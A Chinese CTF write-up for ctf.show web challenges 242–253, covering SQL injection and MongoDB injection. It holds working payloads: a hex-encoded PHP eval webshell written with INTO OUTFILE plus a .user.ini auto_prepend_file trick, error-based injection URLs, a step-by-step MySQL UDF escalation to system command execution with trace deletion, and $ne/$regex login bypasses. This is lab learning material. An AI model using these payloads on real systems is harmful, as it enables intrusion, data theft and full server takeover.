这题我眼瞎,找flag半天,没发现flag在根目录,结果以为在数据库里面,因为权限不够,我在dump目录下写了个数据库连接以及查询的语句
1 | <?php |
然后利用自己写的一个盲注脚本跑了整个数据库,没找到脚本,最后才发现在根目录,脚本上来
1 | # -- coding:UTF-8 -- |
简简单单的找flag,我搞成了代码审计。这两个代码仅供娱乐。只能扒光数据库,但是找不到flag。注意:flag在根目录o(╥﹏╥)o
web243
- 过滤了php,这时候我们想到了用户自定义
.user.ini
函数,刚刚好他这个dump目录下有一个Index.php文件,所以我们可以直接梭哈
1 | 0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A ==> \nauto_prepend_file=gylq.jpg |
首先上传一个图片文件
1 | filename=gylq.jpg' LINES TERMINATED BY 0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A# |
在上传.user.ini
文件
1 | filename=.user.ini' LINES TERMINATED BY 0x0A6175746F5F70726570656E645F66696C653D67796C712E6A70670A# |
接着访问index.php
getshell拿flag
web244
- 终于来到报错模块了
1 | //备份表 |
经典报错注入拿表
1 | http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23 |
拿字段
1 | http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag')),1)%23 |
拿flag
1 | 左半边flag |
web245
- 过滤了update,可以积累一下报错注入的语句
1 | 1. floor + rand + group by |
拿表
1 | http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23 |
拿字段
1 | http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa')))# |
拿flag
1 | 前部分 |
web246
- 过滤多加了个extractvalue,换一个方法,用group by报错方法,不过group by报错方法有and联合,还有union联合两种方法,都展示一下
查字段
1 | http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flags' limit 1,1),floor(rand(0)*2))) %23 |
flag,没有长度限制
1 | http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select flag2 from ctfshow_flags limit 0,1),floor(rand(0)*2))) %23 |
union报错查询查flag
1 | http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2)) a from information_schema.tables group by a %23 |
web247
- 过滤了向下取整floor,没过滤ceil向上取整
1 | http://b89fec88-85a4-4e59-b9b2-d6c71204e161.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))) %23 |
web248
- 考点udf注入
一、什么是udf
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
udf 文件后缀一般为 dll,由C、C++编写
二、udf在渗透中的作用
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。
三、利用条件
利用udf的条件其实还是挺苛刻的
mysql用户权限问题
获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。
拥有将udf.dll写入相应目录的权限。
四、数据库版本问题
udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:
版本 | 路径 |
---|---|
MySQL < 5.0 | 导出路径随意; |
5.0 <= MySQL< 5.1 | 需要导出至目标服务器的系统目录(如:c:/windows/system32/) |
5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
五、本地利用过程
1、获取Mysql安装路径
1 | select @basedir |
2、查看可操作路径
1 | show global variables like "%secure%" |
secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径
3、查看plugin目录路径
1 | select @@plugin_dir |
4、将dll上传方式推荐几种
将dll上传到安装路径的方式:
通过webshell上传
以hex方式直接上传
sqlmap中现有的udf文件,分为32位和64位,一定要选择对版本,获取sqlmap的udf方式
5、sqlmap中udf获取方式
自动化注入工具Sqlmap已经集成了此功能。
在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_
- 但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用
可以利用sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的
1 | cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ |
接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll,这个我们就可以直接拿来利用
攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
以我windows系统为例,mysql版本为MySQL5.7.26
注意:攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。
- 直接将刚刚生成的64位windows的dll文件复制到
D:\phpstudy8\Extensions\MySQL5.7.26\lib\plugin
中,然后再mysql中执行以下语句
1 | create function sys_eval returns string soname 'udf.dll' |
然后就可以任意命令执行了
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
1 | select sys_eval('ipconfig') |
六、实战情况之一,hex编/解传入mysql系统提权
- 本地利用的情况,你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下,如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况
为了将这个转换为十六进制,可以借助mysql中的hex函数,先将udf.dll移动到C盘中,这样路径也清晰一些,然后执行下面命令
1 | select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt' |
成功生成了十六进制形式流
接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。
一、新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
1 | create table udftmp (c BLOB) |
二、在udftmp中写入udf文件内容
1 | INSERT INTO udftmp values(unhex('udf文件的16进制格式')) |
三、将udf文件内容传入新建的udf文件中,路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
1 | select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll' |
四、执行下面语句,就可以system权限下命令任意执行,这电脑就沦陷了,执行命令上面已经说过,就不复述了
1 | create function sys_eval returns string soname 'udf.dll' |
五、删除痕迹,做好事不留名
1 | DROP TABLE udftmp |
1 | SELECT sys_eval('ipconfig'); |
本地实践了之后,基础知识差不多了解我们做一个实战靶场
题目代码
1 | $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;"; |
- 测试了一下,明显存在堆叠注入,刚好可以利用堆叠注入,来进行udf来进行命令执行,测试,过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等
好了,废话不多说直接看一下@@plugin_dir的路径来命令执行
1 | 目录/usr/lib/mariadb/plugin/ |
对方是linux,当然写 一个脚本跑会快一些,我先手工实操一遍,之后就用脚本梭哈,首先根据我之前的方法生成64位linux的udf.so的十六进制形式
由于这是get传参,是有长度限制的,16081的超过限制,会直接被ban了,所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分
接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中
1 | select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt' |
为了确认我们是否已经导入load_file来判断
1 | select load_file('/usr/lib/mariadb/plugin/a.txt') |
明显导入成功,照葫芦画瓢,将剩下的b和c导入进去
当明显确定已经都导入成功了a、b、c三部分udf十六进制内容,接着来就是导入so到这个目录就可以命令执行
1 | select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' |
最后我们创建sys_eval这个函数来进行命令执行
1 | create function sys_eval returns string soname 'udf.so' |
明显获得了命令执行的权限
我们可以看看ip配置
接着就拿这题的flag
但是这样就有点慢了,我写个脚本。很快的,大家可以参考一下
1 | import requests |
web249
- nosql,也跟MongoDB一个意思,先去补补MongoDB的基础知识,MongoDB基础
1 | //无 |
由于他校验的是第一个输入的数据,对于非空的数组,intval会返回1,所以可以绕过intval校验,然后再来搜flag,就可以搜索key为flag的值了
1 | ?id[]=flag |
web250
1 | $query = new MongoDB\Driver\Query($data); |
他传入的data是username和password,所以想要这个返回值为真,我们就要构造永真式,利用ne(not equal)来让这个式子一直是真的,就为1就绕过了
post传入payload
1 | username[$ne]=hacker&password[$ne]=hacker |
web251
- 感觉和上题一样,那就换个永真式
1 | username[$regex]=.*&password[$regex]=.* |
web252
- 这题和上题有点区别,利用永真式获得了账号和密码,登陆并没有获取flag,用正则找一下
payload,找以f开头的用户名就找到了
1 | username[$regex]=f.*&password[$ne]=1 |
web253
- 这题跟上面几题有点不同,可以登录成功,但是无回显。所以我们可以通过正则匹配来判断这个是否存在。
明显,账号数据中存在flag,因为显示的msg是登录成功
因此我们利用这个回显,写个布尔盲注脚本
1 | # -- coding:UTF-8 -- |